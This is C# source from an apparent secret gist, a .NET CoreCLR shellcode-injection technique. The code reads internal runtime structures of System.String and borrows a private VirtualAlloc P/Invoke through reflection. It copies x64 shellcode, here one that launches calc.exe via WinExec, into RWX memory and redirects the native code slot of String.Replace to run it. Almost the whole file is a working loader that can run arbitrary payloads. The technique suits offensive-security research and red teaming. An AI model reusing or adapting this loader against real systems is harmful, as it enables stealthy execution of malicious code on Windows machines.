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xpn/ExecNativeSlot.cs Secret

Created May 3, 2021
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using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace NautilusProject
{
public class ExecNativeSlot
{
public static void Execute()
{
// WinExec of calc.exe, jmps to address set in last 8 bytes
var shellcode = new byte[]
{
0x55, 0x48, 0x89, 0xe5, 0x9c, 0x53, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48,
0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
0x48, 0x8b, 0x7e, 0x30, 0x8b, 0x5f, 0x3c, 0x48, 0x01, 0xfb, 0xba, 0x88,
0x00, 0x00, 0x00, 0x8b, 0x1c, 0x13, 0x48, 0x01, 0xfb, 0x8b, 0x43, 0x20,
0x48, 0x01, 0xf8, 0x48, 0x89, 0xc6, 0x48, 0x31, 0xc9, 0xad, 0x48, 0x01,
0xf8, 0x81, 0x38, 0x57, 0x69, 0x6e, 0x45, 0x74, 0x05, 0x48, 0xff, 0xc1,
0xeb, 0xef, 0x8b, 0x43, 0x1c, 0x48, 0x01, 0xf8, 0x8b, 0x04, 0x88, 0x48,
0x01, 0xf8, 0xba, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x25, 0x00,
0x00, 0x00, 0xff, 0xd0, 0x5f, 0x5e, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,
0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59,
0x5b, 0x9d, 0x48, 0x89, 0xec, 0x5d, 0x48, 0x8b, 0x05, 0x0b, 0x00, 0x00,
0x00, 0xff, 0xe0, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);
var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);
if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)
{
Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");
return;
}
if ((md.m_wFlags & Internals.mdcHasNativeCodeSlot) != Internals.mdcHasNativeCodeSlot)
{
Console.WriteLine("[x] Error: mdcHasNativeCodeSlot not set for this MethodDesc");
return;
}
// Trigger Jit of String.Replace method
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// Get the String.Replace method native code pointer
IntPtr nativeCodePointer = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
// Steal p/invoke from CoreCLR Interop.Kernel32.VirtualAlloc
var kernel32 = typeof(System.String).Assembly.GetType("Interop+Kernel32");
var VirtualAlloc = kernel32.GetMethod("VirtualAlloc", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
// Allocate memory
var ptr = VirtualAlloc.Invoke(null, new object[] { IntPtr.Zero, new UIntPtr((uint)shellcode.Length), Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite });
// Convert void* to IntPtr
IntPtr mem = (IntPtr)ptr.GetType().GetMethod("GetPointerValue", BindingFlags.NonPublic | BindingFlags.Instance).Invoke(ptr, new object[] { });
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Take the original address
var orig = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 0x10);
// Point the native code pointer to our shellcode directly
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, mem);
// Set original address
Marshal.WriteIntPtr(mem + shellcode.Length - 8, orig);
// Charging Ma Laz0r...
System.Threading.Thread.Sleep(1000);
// FIRE!!
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
// Restore previous native address now that we're done
Marshal.WriteIntPtr(ec.m_pChunks + 0x18 + 0x10, orig);
}
public static class Internals
{
[StructLayout(LayoutKind.Explicit)]
public struct MethodTable
{
[FieldOffset(0)]
public uint m_dwFlags;
[FieldOffset(0x4)]
public uint m_BaseSize;
[FieldOffset(0x8)]
public ushort m_wFlags2;
[FieldOffset(0x0a)]
public ushort m_wToken;
[FieldOffset(0x0c)]
public ushort m_wNumVirtuals;
[FieldOffset(0x0e)]
public ushort m_wNumInterfaces;
[FieldOffset(0x10)]
public IntPtr m_pParentMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pLoaderModule;
[FieldOffset(0x20)]
public IntPtr m_pWriteableData;
[FieldOffset(0x28)]
public IntPtr m_pEEClass;
[FieldOffset(0x30)]
public IntPtr m_pPerInstInfo;
[FieldOffset(0x38)]
public IntPtr m_pInterfaceMap;
}
[StructLayout(LayoutKind.Explicit)]
public struct EEClass
{
[FieldOffset(0)]
public IntPtr m_pGuidInfo;
[FieldOffset(0x8)]
public IntPtr m_rpOptionalFields;
[FieldOffset(0x10)]
public IntPtr m_pMethodTable;
[FieldOffset(0x18)]
public IntPtr m_pFieldDescList;
[FieldOffset(0x20)]
public IntPtr m_pChunks;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDescChunk
{
[FieldOffset(0)]
public IntPtr m_methodTable;
[FieldOffset(8)]
public IntPtr m_next;
[FieldOffset(0x10)]
public byte m_size;
[FieldOffset(0x11)]
public byte m_count;
[FieldOffset(0x12)]
public byte m_flagsAndTokenRange;
}
[StructLayout(LayoutKind.Explicit)]
public struct MethodDesc
{
[FieldOffset(0)]
public ushort m_wFlags3AndTokenRemainder;
[FieldOffset(2)]
public byte m_chunkIndex;
[FieldOffset(0x3)]
public byte m_bFlags2;
[FieldOffset(0x4)]
public ushort m_wSlotNumber;
[FieldOffset(0x6)]
public ushort m_wFlags;
[FieldOffset(0x8)]
public IntPtr TempEntry;
}
public const int mdcHasNonVtableSlot = 0x0008;
public const int mdcHasNativeCodeSlot = 0x0020;
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
}
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